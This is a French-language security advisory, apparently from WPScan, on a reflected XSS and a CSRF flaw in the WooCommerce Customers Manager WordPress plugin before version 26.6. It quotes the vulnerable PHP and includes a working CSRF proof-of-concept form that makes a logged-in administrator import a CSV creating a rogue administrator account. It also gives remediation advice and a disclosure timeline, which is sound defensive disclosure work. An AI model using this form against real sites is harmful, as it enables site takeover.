Plugin WordPress WooCommerce Customers Manager – Vulnérabilités de sécurité multiples

Oops...
Slider with alias none not found.

Introduction

Un membre de l’équipe de recherche WPScan a découvert deux vulnérabilités de sécurité dans le plugin WordPress premium WooCommerce Customers Manager, dans les versions inférieures à 26.6.

Les deux vulnérabilités suivantes ont été identifiées et ajoutées à notre base de données de vulnérabilités WordPress :

  • Scripting intersite réfléchi authentifié – CVSS : 7.1 (élevé)
  • Création/mise à jour arbitraire de comptes utilisateurs via CSRF – CVSS : 8.8 (élevé)

Détails techniques

En vérifiant si une vulnérabilité d’élévation de privilèges signalée a été correctement corrigée, il a été identifié que le problème était toujours exploitable via une attaque CSRF (Cross-Site Request Forgery). Une tentative de correction d’un deuxième problème de sécurité, une vulnérabilité XSS (Cross-Site Scripting) authentifiée, s’est également avérée insuffisante, permettant toujours l’attaque.

Chez WPScan, nous travaillons en étroite collaboration avec les auteurs de plugins pour nous assurer que les correctifs qu’ils mettent en œuvre sont effectués correctement, afin de garantir la sécurité de nos utilisateurs.

Cross-Site Scripting (XSS) authentifié et réfléchi

Les paramètres wccm_customers_ids et wccm_customers_emails étaient sortis dans des attributs href, après avoir été nettoyés avec la fonction sanitize_text_field(), ce qui n’est pas approprié dans ce cas, car une charge utile telle que ‘ injected-attribute=value sera toujours injectée.

<h2 class="nav-tab-wrapper">
<a class='nav-tab' href='?page=woocommerce-customers-manager<?php if($this->filter_by_product_id >0) echo '&filter-by-product='.$this->filter_by_product_id; if(isset($_REQUEST['wccm_customers_ids'])) echo '&wccm_customers_ids='.sanitize_text_field($_REQUEST['wccm_customers_ids']); if(isset($_REQUEST['wccm_customers_emails'])) echo '&wccm_customers_emails='.sanitize_text_field($_REQUEST['wccm_customers_emails']); echo '&wccm_already_encoded=yes'; ?>'>Registered</a>
<a class='nav-tab nav-tab-active' href='?page=woocommerce-customers-manager&action=wccm-guests-list<?php if($this->filter_by_product_id >0) echo '&filter-by-product='.$this->filter_by_product_id; if(isset($_REQUEST['wccm_customers_ids'])) echo '&wccm_customers_ids='.sanitize_text_field($_REQUEST['wccm_customers_ids']); if(isset($_REQUEST['wccm_customers_emails'])) echo '&wccm_customers_emails='.sanitize_text_field($_REQUEST['wccm_customers_emails']);?>'>Guests</a>
</h2>

Preuve du concept (PoC)

Connectez-vous au blog en tant qu’administrateur et ouvrez les URLs ci-dessous :

Création/mise à jour d’un compte utilisateur arbitraire via CSRF

L’action AJAX upload_csv, disponible pour les utilisateurs authentifiés, n’avait pas de vérification CSRF, permettant aux attaquants de faire en sorte que les utilisateurs connectés avec la capacité manage_woocommerce (par défaut administrateur) importent des comptes arbitraires. Cela pouvait conduire à la création de comptes administrateurs fictifs et à la compromission du blog.

In classes/admin/WCCM_CustomerImport.php

public function __construct()
{
add_action( 'wp_ajax_upload_csv', array( &$this, 'process_csv_upload_ajax' ) );
}
function process_csv_upload_ajax()
{
if(!current_user_can('manage_woocommerce'))
wp_die();

$csv_array = explode("<#>", $_POST['csv']);
$this->process_uploaded_file($csv_array);
[...]
}

Preuve du concept (PoC)

Connectez-vous au blog, en tant qu’utilisateur ayant la capacité manage_woocommerce (par défaut administrateur), et ouvrez le fichier HTML ci-dessous :

<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload_csv" />
<input type="hidden" name="send-notification-email" value="no" />
<input type="hidden" name="csv" value='ID","Password","Role","Login","Email"<#>"","Passw0rd","administrator","admin-attacker","admin-attacker@localhost.org"' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Cela créera un nouveau compte administrateur, avec le nom d’utilisateur admin-attacker.

Assainissement

  • Vérification, validation et échappement des entrées utilisateur (la fonction esc_attr() WP doit être utilisée pour échapper à la sortie dans les attributs).
  • Ajout d’une vérification CSRF à la méthode process_csv_upload_ajax() pour prévenir les attaques CSRF.
    • https://developer.wordpress.org/reference/functions/wp_create_nonce/
    • https://developer.wordpress.org/reference/functions/wp_verify_nonce/

Ligne du temps

  • 11 mars 2021 – Corrections incorrectes identifiées et confirmées. Le vendeur a été contacté via http://www.domenicolagudi.com/#contact
  • 16 mars 2021 – Pas de réponse de la part du vendeur, le problème est transmis à Envato.
  • 17 mars 2021 – Publication de la v26.6, qui corrige les problèmes (confirmée le 30 mars par le code source fourni par le vendeur).
  • 30 mars 2021 – Les vulnérabilités sont publiées sur wpscan.com et envoyées à nos utilisateurs.
  • 8 avril 2021 – Publication de cet article de blog.

Photo by Andrea Piacquadio from Pexels

Similar Posts